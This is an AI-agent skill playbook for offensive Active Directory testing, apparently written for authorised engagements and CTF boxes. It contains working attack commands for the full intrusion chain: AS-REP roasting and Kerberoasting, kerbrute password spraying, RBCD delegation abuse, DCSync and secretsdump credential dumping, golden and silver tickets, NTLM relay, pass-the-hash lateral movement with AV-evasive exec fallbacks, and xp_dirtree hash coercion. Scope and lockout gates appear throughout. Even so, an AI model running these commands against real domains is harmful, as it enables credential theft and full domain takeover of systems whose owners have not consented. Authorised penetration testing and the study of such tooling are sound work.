Hunt: Active Directory
Current emphasis (update on wiki harvest): ADCS ESC1-16 abuse and resource- based constrained delegation over classic Kerberoast/AS-REP roasting - models over-index on over-represented old methods; the newest harvested technique leads the checklist until superseded.
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/ad/<domain>
# VM side (WHERE nxc/impacket/certipy run, same tree through the share):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/ad/<domain>
Corpus and probes live in the VMshare tree; the VM runs tools against the /mnt/VMshare spelling as user tz; the seat reads the same bytes at the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/ is admin/ingest only - hash dumps and cred lists NEVER land there.
Transport
Every VM-native command block ships through ONE documented transport:
cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'
- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
(
echo <b64> | base64 -d | bashinside the vm-ssh argument). - Non-login shells do NOT source profile.d: target-facing fetches MUST use /opt/scope-shim/bin/{curl,httpx} by absolute path (AD tools speak SMB/LDAP/Kerberos directly - the shim governs HTTP fetches).
- Shim verdict semantics (verified live): out-of-scope dies rc 126 (never work around); in-scope passes; UNKNOWN gets an ADVISORY - not approval; verify against scope.md and self-deny.
- Long ops (BloodHound collection, secretsdump, hashcat) run detached (vm-bg.sh) + logs read back; the bridge drops at ~2min. Ligolo tunnel only for lateral movement; never pivot through out-of-scope subnets.
Entry gate
All four must pass; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and the domain/DC is on targets//scope.md in-scope. Scope-guard is the deny. (targets/ is the repo admin tree; $ENG_DIR holds corpus and run artifacts only - see Paths.)
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Producer verified - at least ONE of: (a) a foothold or captured creds exist ($ENG_DIR loot.md / identities rows - AD needs SOME principal or anon access point);
(b) $ENG_DIR/state.md asset table has AD rows (DC host, domain, open 445/389/88);
(c) kickoff seeded $RUN/raw/domain-map.md. None = dispatch the surface lane first.Toolchain preflight (fails LOUD; absent tools echo N/A and constrain their branch):
for t in /usr/bin/jq /usr/bin/python3 /opt/scope-shim/bin/curl; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done # install-on-demand (operator rule): install what the branch needs command -v nxc >/dev/null || { pip3 install --user --break-system-packages -q pipx && /home/tz/.local/bin/pipx install netexec; } || echo "N/A: nxc absent on VM (install failed)" command -v certipy >/dev/null || pip3 install --user --break-system-packages -q certipy-ad || echo "N/A: certipy absent on VM (install failed)" # per-tool install classes (a pip3 impacket cannot provide these) command -v ldapsearch >/dev/null || sudo apt-get install -y ldap-utils 2>/dev/null || echo "N/A: ldapsearch absent on VM (install failed)" command -v kerbrute >/dev/null || { export HOME=/home/tz; go install github.com/ropnop/kerbrute@latest 2>/dev/null; } || echo "N/A: kerbrute absent on VM (install failed)" command -v hashcat >/dev/null || sudo apt-get install -y hashcat 2>/dev/null || echo "N/A: hashcat absent on VM (install failed)" for t in impacket-GetNPUsers impacket-GetUserSPNs impacket-secretsdump impacket-getST impacket-rbcd; do command -v "$t" >/dev/null || pip3 install --user --break-system-packages -q impacket || echo "N/A: $t absent on VM (install failed)" done
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/ad/<domain>/ad-checklist.md at run start. Unchecked at
stop = UNCHECKED lane, re-run from the first unchecked step. The
SKILL.md text and the checklist header agree byte-for-byte on that
copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
2025-26 technique ladder: references/bypass-arsenal.md (NEW classes, defense->bypass map).
Wiki
Hub: [[active-directory-moc]] - Primary page: [[active-directory]] - Tooling: [[netexec]] Anchors: [[adcs]], [[kerberos-attacks]], [[ad-lateral-movement]], [[default-credentials]] REFS: [[active-directory]], [[adcs]], [[kerberos-attacks]]
mcp__wiki-search__query (lex) "Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound" via wiki-search MCP - ONLY when you have a concrete hint the map above doesn't cover (a specific sink/version/CVE, an observed escape); not a blanket first step.
Read [[netexec]]'s LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.
Impacket quick reference (use this, don't hand-roll) (expert skills own the deep chains)
Every impacket-* invocation below is a real, tested subcommand - the SAME primitive a hand-rolled
python-ldap/socket script would reimplement worse. Look the operation up here first; full context for
each lives in the numbered methodology step. [[impacket]] has the general auth-string syntax.
| Operation | Command | Step |
|---|---|---|
| AS-REP roast (no creds, preauth-disabled users) | impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <dc> |
3 |
| Kerberoast (any creds, person SPNs) | impacket-GetUserSPNs <domain>/<user>:<pass> -request -dc-ip <dc> |
3 |
| Kerberoast, credless (AS-REP-roastable requester) | impacket-GetUserSPNs -no-preauth <asrep_user> -usersfile <spn_users> -dc-host <dc> <domain>/ |
3 |
Request/cache a TGT (for -k ops) |
impacket-getTGT <domain>/<user>:<pass>; export KRB5CCNAME=<user>.ccache |
6, 7 |
| Find unconstrained/constrained/RBCD delegation | nxc ldap <dc> -u <user> -p <pass> --find-delegation (impacket has no single-shot equivalent) |
6 |
| Constrained delegation w/ protocol transition | impacket-getST -spn <spn> -impersonate <target> -dc-ip <dc> '<domain>/<user>:<pass>' |
6 |
| RBCD: add attacker computer | impacket-addcomputer <domain>/<user>:<pass> -computer-name 'FAKE$' -computer-pass <pw> -dc-ip <dc> |
6 |
| RBCD: write the delegation | impacket-rbcd <domain>/<user>:<pass> -delegate-to '<target>$' -delegate-from 'FAKE$' -action write -dc-ip <dc> |
6 |
| DCSync (NTDS, all or one account) | impacket-secretsdump -just-dc <domain>/<user>:<pass>@<dc> (add -just-dc-user <name> to scope it) |
7 |
| Local SAM+LSA dump (local admin, no DCSync rights) | impacket-secretsdump <domain>/<user>:<pass>@<target> |
7 |
| Remote exec, SYSTEM (noisy, drops a service) | impacket-psexec <domain>/<user>:<pass>@<target> |
8 |
| Remote exec, semi-interactive, no disk artifact | impacket-wmiexec <domain>/<user>:<pass>@<target> |
8 |
| Remote exec, AV-evasive fallback | impacket-smbexec / impacket-atexec <domain>/<user>:<pass>@<target> |
8 |
| Read one file as admin, no exec (AV blocks output retrieval) | impacket-smbclient <domain>/<user>:<pass>@<target> -k -no-pass -c 'get <UNC path>' |
8 |
| Golden/silver ticket (krbtgt / service hash held) | impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> [-spn <service>] Administrator |
9 |
| NTLM relay (pair with a coercion trigger) | impacket-ntlmrelayx -tf targets.txt -smb2support |
- |
| Enumerate unconstrained-delegation computers | impacket-findDelegation <domain>/<user>:<pass> -dc-ip <dc> |
6 |
Pass-the-hash: swap <user>:<pass> for -hashes :<NTLM_hash> <domain>/<user>. Pass-the-ticket: swap the
whole auth string for -k -no-pass with KRB5CCNAME exported. Every op needs -dc-ip <dc> (and
-target-ip <dc> for Kerberos-only ops) - see the stale-/etc/hosts gotcha below.
Attack surface signals
APPROACH: Fire the unauth-enum wave at once (null/guest shares + RID-brute, anon LDAP users + description fields, AS-REP roast, person-object SPN Kerberoast, lockout policy, certipy find -vulnerable), then walk enum -> roast -> ACL/ADCS ESC1-16 -> delegation -> DCSync -> lateral, reusing captured creds inside the lockout gate.
AVOID: A captured-but-uncracked hash, a dumped ticket, a theoretical BloodHound/ESC edge never executed, or an unvalidated spray hit is NOT confirmation - creds must authenticate to the DC ([+]/Pwn3d!) or the ticket/ACL abuse must be exercised end to end.
Ports: SMB 445, LDAP 389/636, Kerberos 88, ADWS 9389, WinRM 5985/5986, RPC 135, MSSQL 1433, ADCS web enroll 80/443 (/certsrv).
Footholds: null/guest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), ms-DS-MachineAccountQuota > 0, pre-Win2000 computers, LAPS readable.
SQL Server access (1433) doubles as a coercion foothold: point xp_dirtree/xp_subdirs at the attacker SMB listener and the SQL service account (often an over-privileged domain account) hands over its NetNTLMv2 - feed the capture into step 3 ([[network-service-attacks]]).
Spray-safe + AD safety gate (READ FIRST)
- Spray-safe lockout gate - the AD analog of the
hunt-coreenumeration limits. Read the domain lockout policy BEFORE any spray:nxc smb <dc> -u <user> -p <pass> --pass-pol. Spray at most 1 attempt per account per observation window, and never exceed(lockoutThreshold - 1)attempts per account per window. RoEno_bruteforce/passive_only-> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding. - Also read SYSVOL's Default Domain Policy
GptTmpl.infalongside--pass-pol:LockoutBadCount = 0= lockout disabled domain-wide (changes spray calculus), and stock files close the GPPcpasswordcheck in one read ([[ad-enumeration]]). - Reuse captured creds first (from
loot.md) before researching new ones; default/known creds before any spray (see [[default-credentials]]). - Clock skew: sync to DC (
ntpdate <dc>orfaketime) or Kerberos TGT requests fail withKRB_AP_ERR_SKEW. - Stale
/etc/hostsrealm entry silently breaks Kerberos. A prior box's<realm> -> <old-ip>line makes impacket resolve the KDC to a dead host and hang with[Errno 110] Connection timed out (REALM:88), even though certipy (which forces-dc-ip) worked seconds earlier. When you add the DC to/etc/hosts, REMOVE any existing line for the same realm, and ALWAYS pass-dc-ip <dc>(and-target-ip <dc>) on impacket Kerberos ops so KDC/target resolution never depends on DNS/hosts. Same fix ifcertipy reqthrowsThe NETBIOS connection ... timed out: add-target-ip <dc>. - Hash recovered but the account blocks NTLM? ESC1/UnPAC/PKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns
STATUS_ACCOUNT_RESTRICTION(the account is in Protected Users / NTLM-hardened, common forAdministrator), the hash is a red herring - use the ccache:export KRB5CCNAME=<user>.ccache; impacket-smbclient/secretsdump -k -no-pass -dc-ip <dc> <dc-fqdn>reads flags / DCSyncs over Kerberos. See [[adcs]]. - Never pivot through out-of-scope subnets (Ligolo tunnel only for lateral movement).
Ranked path + highest-value edges
Ranked: enum -> AS-REP/Kerberoast -> ACL / ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. The ADCS ESC1-16 matrix and the delegation paths are the highest-value edges (both owned by the experts: Skill(hunt-ad-adcs), Skill(hunt-ad-kerberos)) - one vulnerable template or a writable msDS-AllowedToActOnBehalfOfOtherIdentity is often the entire DA chain. Chain: every cracked/sprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD -delegate-from; an on-box cred store (step 7) frequently yields the account that holds the winning ACL. A Windows foothold is an AD vantage only if it is domain-joined: confirm with nltest /dsgetdc: / systeminfo before investing in pivots from it (a WORKGROUP standalone has zero AD pivot value, and /dsgetdc doubles as that host's cheapest DC-reachability test) - [[ad-enumeration]].
Methodology
Efficiency: fire the unauth-enum WAVE at once, don't grind it serially. On a fresh DC the first
6 reads are independent - launch them together (parallel tmux tabs / back-to-back), then read results:
null+guest shares & RID-brute, anonymous LDAP users + all description/info fields (planted seed
passwords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the
LDAP lockout policy, AND certipy find -vulnerable (ADCS ESC is on MOST modern THM/HTB DCs - run it in
the unauth wave with any cred you get, not as an afterthought). This one wave usually already contains
the foothold (a description seed to spray) and the escalation (an ESC template).
- Unauth enum:
nxc smb <dc> -u '' -p '' --shares # null session
nxc smb <dc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied
nxc ldap <dc> -u '' -p '' --users # anonymous bind
# planted-password sweep (classic THM foothold) - read EVERY non-generic description:
ldapsearch -x -H ldap://<dc> -b <base> "(objectClass=user)" sAMAccountName description
enum4linux-ng -A <dc>; rpcclient -U '' -N <dc>
- Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe):
When anon enum is locked down, the user list comes from the target's own web app + OSINT. Scrape
EVERY page, not just the homepage - names hide in
about/team/staff/leadership/testimonial/contactsections that the index page does not show. (Missing theabout.html"Our Team" block once cost two valid users on a box.) Extract everyFirst Last, note the format from any leaked email (j.doe@dom=f.last), generate permutations, and let kerbrute tell you which are real:
# pull all pages, strip tags, extract capitalized name bigrams
for p in $(curl -s http://<t>/ | grep -oiE 'href="[^"]+\.html?"' | cut -d'"' -f2 | sort -u); do
curl -s http://<t>/$p | sed -e 's/<[^>]*>/ /g'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u
# -> for each "First Last": emit f.last, flast, first.last, first_last, last (+ leaked-email format)
kerbrute userenum -d <domain> --dc <dc> users.txt # filler template names simply will NOT validate
# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth
# (~500 users in seconds); `nxc smb -u <file>` walks them one TCP session at a time (minutes). Same
# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.
kerbrute passwordspray -d <domain> --dc <dc> users.txt 'CHANGEME2023!' # one-pass, lockout-gated
Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first/only name the homepage leaks. PERSIST the validated list to $RUN/raw/users.md (one user per line) - the kerberos expert's entry gate requires it; a list left in a VM-local users.txt is invisible to the experts. 3. Classify + dispatch (the split): with the enum wave read, classify the surface and dispatch the expert that owns it - the mapper does NOT re-derive expert depth:
- Roastable surface (AS-REP list, person-object SPNs, cracked-hash
cracking discipline) ->
Skill(hunt-ad-kerberos) - ACL edges (GenericAll/GenericWrite/WriteDACL/ForceChangePassword,
GPO, ADIDNS, terminal-user attribute re-enum) ->
Skill(hunt-ad-acl) - Certificate templates /
certipy find -vulnerablehits ->Skill(hunt-ad-adcs)The unauth wave'scertipy find -vulnerable(run it in wave 1 with any cred you get - ESC is on MOST modern DCs) feeds the adcs expert directly.
- Re-feed loop: every validated/cracked/impersonated cred re-feeds
step 1 enum + a fresh BloodHound collection (
nxc ldap <dc> -u <user> -p <pass> --bloodhound -c all --dns-server <dc> --dns-tcp; through a SOCKS pivot ALWAYS --dns-tcp - UDP DNS never traverses the tunnel and DC discovery dies with "Could not find a domain controller"; the ACL expert owns the jq-over-zip read); an owned principal with an SPN is simultaneously a Kerberoast target and an RBCD-delegate-from(kerberos expert owns the chain). - Delegation glance (router-only here):
nxc ldap <dc> -u <user> -p <pass> --find-delegation- any owned-principal row (unconstrained/ constrained w/ transition/RBCD) routes toSkill(hunt-ad-kerberos). - Distill pointer: experts own their technique distills; the mapper distills enum-wave lessons only.
- Credential access / DCSync:
nxc smb <dc> -u <user> -p <pass> --ntds # if admin
impacket-secretsdump <domain>/<user>:<pass>@<dc> # DCSync if rights
AutoAdminLogon=1with no registryDefaultPasswordis NOT a dead end: provisioning scripts store the password viaLsaStorePrivateData, so it lives in the LSA secret instead;impacket-secretsdumpon the host prints it underDefaultPassword, and it can be a full DOMAIN credential, valuable far beyond the host ([[windows-privilege-escalation]]).- On-box cred stores (via RDP/session): a user only in Remote Desktop Users can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass
*.kdbx, browser/WinSCP/RDP creds. A KeePass DB keyed to the Windows user account (KeePass.config.xml<UserAccount>true</UserAccount>) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] / Skill(ctf-box); see [[password-cracking]].
- Lateral: PtH / PtT / overpass-the-hash ->
evil-winrm,nxc ... -x,impacket-wmiexec,psexec. AV gotcha: Defender blocksnxc -x/wmiexec output retrieval ("could not retrieve output file"); to just READ a file (the flag) as admin, skip exec entirely:smbclient //<dc>/C$ -U <dom>/Administrator --pw-nt-hash <nt> -c 'get Users\Administrator\Desktop\flag.txt', or use--exec-method smbexec/atexec.- A valid local admin refused by WinRM but accepted by SMB = session-configuration SDDL
granting built-in Administrators only (hits dedicated service-admin accounts even with
LocalAccountTokenFilterPolicy=1): do not grind WinRM variants, route the admin work over SMB (impacket-secretsdump,smbclient //host/C$) - [[windows-using-credentials]].
- A valid local admin refused by WinRM but accepted by SMB = session-configuration SDDL
granting built-in Administrators only (hits dedicated service-admin accounts even with
- Dominance: golden (krbtgt) / silver / diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).
- Distill (confirmed, GENERIC): a reusable ACL chain / ADCS ESC variant / relay primitive ->
python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md.
Confirmation gate
NOT confirmation: a hash captured but never cracked or used; a Kerberoast/AS-REP ticket dumped but not cracked; a BloodHound edge (GenericWrite, AddAllowedToAct, an ESC "vulnerable" flag) that is theoretical and never executed; certipy find listing a template you never enrolled against; a spray "hit" you have not re-validated with a clean authentication.
IS confirmation: credentials validated against the DC (nxc smb/ldap/winrm <dc> -u <user> -p <pass> returns [+] / Pwn3d!); a TGT/TGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.
Validation
- Proof = the attack's own artifact: a cracked hash from a captured ticket, a readable DC-sync dump, a shell as the delegated context. A BloodHound edge alone is a HYPOTHESIS.
- Negative control: the same request WITHOUT the abused right (no /ticket, no write ACE) fails the same way; the pair is the finding.
- Counterevidence to seek: confirm the edge against live ACL (
nxc ... --dc), group membership viawhoami /groupson the affected context; BH caches go stale after ACL rebuilds.
False Positives
- BloodHound edge present but ACL since rebuilt (re-collect before reporting).
- Kerberoastable service whose ticket cracks infeasibly (machine-length password): capture is real, impact is not; note the hash, deadend the class.
- AS-REP-roastable account that is DISABLED (no login possible).
- Constrained delegation "open" but protocol signing enforced; relay dies.
- Writable GPO the principal cannot link/apply: write is not execute.
Cross-routing
- Load hunt-windows when you land on a member host for local privesc before DA.
- Load hunt-m365 when the tenant is Entra/hybrid (AD Connect bridge both ways).
- Load hunt-auth for AD FS / cert-based web auth flows.
- Not this skill: plain local privesc with no domain in play (hunt-windows).
Severity
CRITICAL = DA / domain compromise / DCSync / ESC1 / ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum / info disclosure, a spray hit with no privilege.
N/A escapes
Each absent-tool echo above ("N/A: nxc absent on VM (install failed)" etc.) constrains its branch only. Whole-run escapes:
- "N/A: no AD surface in scope"
- "N/A: no valid principal and no anon access point" An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand pass over the domain map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/ dismissed, every claim carries evidence). The lockout gate and the DC-validated proof gate survive freehand. Declare with a _requests.md row (lane = hunt-ad-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-ad-.md (pointer with AD-HUNT-DONE enum=<n> roast=<n> acl=<n> adcs=<n> delegation=<n> dcsync=<n> lateral=<n> next=<experts to dispatch>).
Consumer (triage) finds at $RUN: raw/domain-map.md, probes/*.jsonl,
probes/raw/, candidates.{jsonl,md}. Findings leave ONLY through G1.
Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md.
Deadends
Append: - [ ] AD spray <domain> -- full user x pass matrix once (Season2025!/Welcome1), 0 hits, lockout thr 5;
ADCS no ESC template; no BloodHound path from <user>
Record the boundary (which creds, which lockout threshold, which ESC/BH gaps), not just that it failed. A bare entry gets re-run.
Stop conditions
Terminal states complete (probed | N/A with reason | deadend row written), nothing written into skill dirs (skills/exploit/hunt/ hunt-ad/ stays untouched), no unchecked boxes above REVIEW. hunt-core stop conditions fire unchanged (a confirmed DC compromise or crown-jewel access = report at the primitive; lockout risk crossed = stop sprays immediately, do not retry with a new password).